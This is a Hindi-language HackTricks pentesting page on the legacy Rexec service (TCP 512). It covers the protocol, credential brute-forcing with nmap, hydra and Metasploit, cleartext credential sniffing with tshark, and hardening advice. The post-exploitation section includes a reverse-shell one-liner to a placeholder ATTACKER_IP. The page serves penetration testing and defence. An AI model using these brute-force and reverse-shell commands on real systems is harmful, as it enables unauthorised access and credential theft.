512 - Pentesting Rexec

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Basic Information

Rexec (remote exec) मूल Berkeley r-services सूट में से एक है (जिसमें rlogin, rsh, … शामिल हैं)। यह एक दूरस्थ कमांड-निष्पादन क्षमता प्रदान करता है जो केवल स्पष्ट-टेक्स्ट उपयोगकर्ता नाम और पासवर्ड के साथ प्रमाणित होता है। इस प्रोटोकॉल को 1980 के दशक की शुरुआत में परिभाषित किया गया था (देखें RFC 1060) और आज इसे डिजाइन द्वारा असुरक्षित माना जाता है। फिर भी, यह कुछ विरासती UNIX / नेटवर्क-से जुड़े उपकरणों में डिफ़ॉल्ट रूप से सक्षम है और कभी-कभी आंतरिक pentests के दौरान दिखाई देता है।

डिफ़ॉल्ट पोर्ट: TCP 512 (exec)

PORT    STATE SERVICE
512/tcp open  exec

🔥 सभी ट्रैफ़िक - जिसमें क्रेडेंशियल्स शामिल हैं - असंक्रमित रूप से प्रेषित होता है। नेटवर्क को स्निफ़ करने की क्षमता रखने वाला कोई भी व्यक्ति उपयोगकर्ता नाम, पासवर्ड और कमांड को पुनर्प्राप्त कर सकता है।

प्रोटोकॉल त्वरित अवलोकन

  1. क्लाइंट TCP 512 से कनेक्ट होता है।
  2. क्लाइंट तीन NUL-terminated स्ट्रिंग्स भेजता है:
  • पोर्ट नंबर (ASCII के रूप में) जहां वह stdout/stderr प्राप्त करना चाहता है (अक्सर 0),
  • उपयोगकर्ता नाम,
  • पासवर्ड
  1. निष्पादित करने के लिए एक अंतिम NUL-terminated स्ट्रिंग के साथ कमांड भेजा जाता है।
  2. सर्वर एकल 8-बिट स्थिति बाइट (0 = सफलता, 1 = विफलता) के साथ प्रतिक्रिया करता है, इसके बाद कमांड आउटपुट होता है।

इसका मतलब है कि आप echo -e और nc के अलावा कुछ भी नहीं लेकर आदान-प्रदान को पुन: उत्पन्न कर सकते हैं:

bash
(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512

यदि क्रेडेंशियल मान्य हैं, तो आपको उसी कनेक्शन पर सीधे id का आउटपुट प्राप्त होगा।

क्लाइंट के साथ मैनुअल उपयोग

कई लिनक्स वितरण अभी भी inetutils-rexec / rsh-client पैकेज के अंदर पुराना क्लाइंट प्रदान करते हैं:

bash
rexec -l user -p password <target> "uname -a"

यदि -p को छोड़ दिया गया है, तो क्लाइंट पासवर्ड के लिए इंटरैक्टिव रूप से संकेत देगा (जो कि वायर पर स्पष्ट पाठ में दिखाई देगा!)।


Enumeration & Brute-forcing

Brute-force

Nmap

bash
nmap -p 512 --script rexec-info <target>
# Discover service banner and test for stdout port mis-configuration

nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>

rexec-brute NSE उपरोक्त वर्णित प्रोटोकॉल का उपयोग करके बहुत तेजी से क्रेडेंशियल्स का प्रयास करता है।

Hydra / Medusa / Ncrack

bash
hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8

hydra का एक समर्पित rexec मॉड्यूल है और यह सबसे तेज़ ऑफ़लाइन ब्रूटफोर्सर बना रहता है। medusa (-M REXEC) और ncrack (rexec मॉड्यूल) का उपयोग उसी तरह किया जा सकता है।

Metasploit

use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run

मॉड्यूल सफल होने पर एक शेल उत्पन्न करेगा और क्रेडेंशियल्स को डेटाबेस में स्टोर करेगा।


क्रेडेंशियल्स की स्निफिंग

क्योंकि सब कुछ स्पष्ट-टेक्स्ट में है, नेटवर्क कैप्चर अमूल्य हैं। ट्रैफ़िक की एक प्रति के साथ आप लक्ष्य को छुए बिना क्रेड्स निकाल सकते हैं:

bash
tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
awk -F"\\0" '{print $2":"$3" -> "$4}'  # username:password -> command

(In Wireshark में Decode As …​ TCP 512 → REXEC सक्षम करें ताकि अच्छी तरह से पार्स किए गए फ़ील्ड देख सकें।)


Post-Exploitation tips

  • दिए गए उपयोगकर्ता के विशेषाधिकारों के साथ कमांड चलाए जाते हैं। यदि /etc/pam.d/rexec गलत तरीके से कॉन्फ़िगर किया गया है (जैसे pam_rootok), तो कभी-कभी रूट शेल संभव होते हैं।
  • Rexec उपयोगकर्ता के शेल की अनदेखी करता है और कमांड को /bin/sh -c <cmd> के माध्यम से निष्पादित करता है। इसलिए आप कई कमांड को जोड़ने या रिवर्स शेल उत्पन्न करने के लिए सामान्य शेल-एस्केप ट्रिक्स (;, $( ), बैकटिक) का उपयोग कर सकते हैं:
bash
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
  • पासवर्ड अक्सर अन्य सिस्टम पर ~/.netrc में संग्रहीत होते हैं; यदि आप एक होस्ट से समझौता करते हैं तो आप उन्हें पार्श्व आंदोलन के लिए पुन: उपयोग कर सकते हैं।

Hardening / Detection

  • rexec को उजागर न करें; इसे SSH से बदलें। लगभग सभी आधुनिक inetd सुपर सर्वर डिफ़ॉल्ट रूप से सेवा को टिप्पणी करते हैं।
  • यदि आपको इसे बनाए रखना है, तो TCP wrappers (/etc/hosts.allow) या फ़ायरवॉल नियमों के साथ पहुंच को सीमित करें और प्रति-खाता मजबूत पासवर्ड लागू करें।
  • :512 पर ट्रैफ़िक और rexecd प्रक्रिया लॉन्च के लिए निगरानी रखें। एकल पैकेट कैप्चर समझौते का पता लगाने के लिए पर्याप्त है।
  • rexec, rlogin, rsh को एक साथ निष्क्रिय करें - वे अधिकांश समान कोडबेस और कमजोरियों को साझा करते हैं।

References

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें